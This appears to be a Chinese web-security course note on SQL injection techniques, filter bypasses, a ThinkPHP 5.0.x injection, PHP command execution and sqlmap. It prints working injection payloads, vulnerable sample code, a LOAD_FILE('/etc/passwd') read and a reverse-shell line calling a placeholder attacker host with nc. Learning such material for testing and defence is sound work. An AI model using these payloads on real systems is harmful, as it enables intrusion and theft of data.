第5-6天:SQL注入核心与绕过技巧
SQL注入基础与函数应用
在SQL注入测试中,掌握一些核adadad心的数据库函数至关重要:
常用函数分类:
1.截取函数:用于逐位获取数据,如substr(database(),1,1) 截取数据库名第一个字符
2.判断函数 :length() 判断长度,**ascii()**将字符转为ASCII码值进行盲注比较
3.信息查询 :主要通过**information_schema**数据库中的SCHEMATA、TABLES、COLUMNS表
联合查询注入实战 :
以一个有漏洞的登录查询为例,基本步骤如下:
-
探测注入点 :通过添加单引号
'使查询语句出错,确认是否存在SQL注入 -
判断列数 :使用**
order by**子句,从1开始递增直到页面报错 -
确定显示位 :使用**
union select**联合查询,用数字标记可显示数据的列位置 -
获取信息:逐步查询当前数据库、表名、列名和具体数据
-- 判断当前数据库的示例 ?id=-1' union select 1,database(),3,4--+ -- 获取所有表名 ?id=-1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--+
报错注入方法 :
当页面显示数据库错误信息时,可利用数据库报错函数泄露信息:
**updatexml():**利用XPath语法错误,第二个参数可执行查询
**extractvalue():**同样利用XPath解析错误
floor() 配合**rand()** 和**group by:**通过主键重复报
-- 使用updatexml报错注入 ?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
布尔盲注应对策略 :
当页面没有明确回显,只有正确和错误两种状态时:
-
先判断目标数据的长度:
?id=1' and length(database())=8--+ -
逐字符判断内容:
?id=1' and ascii(substr(database(),1,1))>100--+ -
通过二分法或遍历加快猜解速度
HTTP请求头中的注入点
SQL注入不仅存在于URL参数,也可能出现在HTTP头部:
User-Agent注入 :
某些应用会将User-Agent记录到数据库,且未充分过滤:
POST /login.php HTTP/1.1
User-Agent: Mozilla/5.0' OR if(1=1,sleep(5),0) OR '
如果页面响应延迟5秒,说明注入成功。
Referer注入 :
与User-Agent类似,Referer头也可能被记录并查询:
GET /page.php HTTP/1.1
Referer: https://example.com' AND (SELECT 1 FROM DUAL WHERE database() LIKE 's%')--
Cookie注入 :
Cookie值直接拼接到SQL查询中的情况:
GET /user/profile HTTP/1.1
Cookie: session=abc123'; SELECT LOAD_FILE('/etc/passwd')--
过滤绕过技术
实际应用中常遇到各种过滤机制,需要相应绕过方法:
注释符被过滤 :
当#和--被过滤时,可以使用;%00(空字节)或直接闭合引号:
?id=1' union select 1,version(),3 or '1'='1
关键词过滤:
-
双写绕过 :如果过滤**
or** 但只替换一次,可使用**oorr** -
大小写混合 :
UnIoN SeLeCt -
编码绕过:十六进制编码或URL编码
-
注释分割 :使用**
/**/**代替空格
空格被过滤:
?id=1'/**/union/**/select/**/1,2,3--+
-- 或使用括号
?id=1'&&(select*from(select user())a)--+
第7-8天:特殊注入与框架漏洞
宽字节注入原理
主要发生在使用GBK等宽字符编码的数据库中:
技术原理:
-
PHP配置**
magic_quotes_gpc=On** 或使用**addslashes()** 时,单引号'会被转义为\' -
GBK编码中**,
%df'** 会被视为**%df%5c%27** -
**
%df%5c**在GBK中构成一个合法汉字(如"運") -
后面的**
%27**(单引号)成功逃逸,导致注入
sql
-- 宽字节注入示例
?id=1%df' and 1=1--+
POST请求中的宽字节注入:
POST /login.php HTTP/1.1
uname=admin%df' or 1=1--&passwd=123
堆叠注入
堆叠注入允许执行多条SQL语句,用分号分隔:
?id=1'; create table test(id int);--+
应用场景与限制:
可用于创建后门账户、修改数据等
需要数据库支持多语句执行
PHP的**mysql_query()** 通常不支持,但**mysqli_multi_query()**可能支持
ThinkPHP框架漏洞实例
ThinkPHP 5.0.13-5.0.15版本存在SQL注入漏洞:
漏洞原理 :
框架对数组参数处理不当,导致参数被直接拼接到SQL查询中。
环境搭建要点:
-
下载ThinkPHP 5.0.15源码
-
配置PHP运行环境
-
设置虚拟主机指向public目录
漏洞利用:
// 漏洞利用代码示例
$url = "http://target.com/index.php/index/index";
$params = [
'name[0]' => 'inc',
'name[1]' => 'updatexml(1,concat(0x7e,user(),0x7e),1)',
'name[2]' => 1
];
第9-10天:高级绕过与命令执行
预编译SQL的绕过
虽然预编译是防SQL注入的有效手段,但在特定场景下仍可能存在问题:
ORDER BY与GROUP BY绕过 :
预编译不适用于ORDER BY后的列名,因为这里需要的是标识符而非数据值:
-- 预编译无法防止的漏洞
$sql = "SELECT * FROM users ORDER BY ?";
$stmt = $pdo->prepare($sql);
$stmt->execute([$_GET['order']]); -- 此处仍可能被注入
解决方案:
-
使用白名单验证ORDER BY字段
-
在应用层进行严格过滤
远程命令执行(RCE)
命令执行漏洞危害极大,可导致服务器被完全控制:
PHP中的命令执行函数:
**system():**执行外部命令并显示输出
**exec():**执行命令但不直接输出,返回最后一行结果
**shell_exec():**通过shell执行命令,返回完整输出
**passthru()sa:**执行命令并显示原始输出
`反引号``:与shell_exec()功能相同
// 存在RCE漏洞的代码示例
$cmd = $_GET['command'];
echo shell_exec($cmd);
危险的回调函数 :
某些函数可能间接执行代码:
call_user_func():回调用户自定义函数
**array_map():**将回调函数作用到数组每个元素
**usort():**用用户自定义函数对数组排序
// 通过回调函数执行代码
$func = $_GET['func'];
$param = $_GET['param'];
call_user_func($func, $param); // 如果$func是system,$param是命令,则造成RCE
绕过disable_functions限制 :
当PHP禁用危险函数时,可尝试:
-
LD_PRELOAD劫持:通过环境变量预加载恶意共享库
-
FFI扩展:PHP 7.4+的外部函数接口
-
ImageMagick漏洞:利用图像处理库的漏洞
-
COM组件:Windows平台特有的组件对象模型
命令执行检测与利用:
检测是否存在命令执行 curl "http://target.com/page.php?cmd=whoami" 分步骤利用 1. 确定可执行命令:?cmd=which+nc 2. 反弹Shell:?cmd=nc+-e+/bin/sh+attacker_ip+4444 3. 建立持久化后门
自动化工具辅助测试
SQLMap基础使用:
基本检测
sqlmap -u "http://target.com/page?id=1"
提高检测强度
sqlmap -u "http://target.com/page?id=1" --level=5 --risk=3
指定注入技术
sqlmap -u "http://target.com/page?id=1" --technique=BEU
B:布尔盲注 E:报错注入 U:联合查询